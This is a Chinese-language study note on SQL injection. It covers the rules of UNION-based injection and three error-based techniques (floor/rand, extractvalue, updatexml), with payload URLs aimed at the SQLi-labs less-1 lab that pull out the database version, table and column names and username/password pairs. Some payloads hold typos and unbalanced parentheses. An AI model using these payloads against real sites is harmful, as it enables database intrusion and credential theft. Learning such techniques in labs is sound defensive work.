union联合查询注入
UNION操作符用于
合并两个或多个SELETC语句的结果集
前提
UNION内部的SELECT语句必须拥有
相同数量的列
,列也必须拥有
相似的数据类型
。同时,每条,每条SELECT语句中的
列的顺序
必须相同
默认情况下,UNION操作符选取不同的值,如果允许重复的值,请使用UNION ALL
UNION注入应用场景
-
只有最后一个SELECT 字句允许有ORDER BY;
select * from users order by id union select 1,2,3;错误
-
只有最后一个SELECT字句允许有LIMIT
select * from users limit 0,1 union select 1,2,3 错误
-
只要UNION连接的几个查询字段数一样且列的数据类型转换没有问题,就可以查询出结果
insert update 数据库信息时也不能使用UNION注入 -
注入页面有回显
UNION注入过程
首先判断列出因为UION语句的前提必须是两个SELECT语句的列数相同
报错注入
使用函数让错误爆出来,在适当的地方插入SQL语句
报错注入原理
报错注入方法三大公式
1 floor报错注入方法原理
针对SQLlilab less-1
127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(
select version()
),floor(rand(0)*2)))–+
结果看到数据库版本报错
查看数据库有哪些表
127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(
select table_name from information_schema.tables where table_schema=database() limit 0,1
),floor(rand(0)*2)))–+
结果users表
查看表中有哪些列
127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(
select cloumn_name from information_schema.columns where table_name=‘users’ limit 0,1
),floor(rand(0)*2)))–+
结果username password列
查看列中有哪些数据
127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(
select concat(username,0x7e,password) from ‘users’limit 1,1
) ,floor(rand(0)*2)))–+
2 extractvalue()报错注入方法
select extractvalue(1,
concat(’!’,(select user())
));
concat链接的字符串第一位一定是一个非法的
3 updatexml()报错注入方法
第二个构造参数一定得错误
127.0.0.1/less-1/?id=1’and updatexml(1,
concat(0x7e,(select user()))
,1)–+
如果想通过错误得到的信息过于长通过使用substr,截取报错信息的一部分
127.0.0.1/less-1/?id=1’and updatexml(1,concat(0x7e,substr((select user(),1,10)),1)–+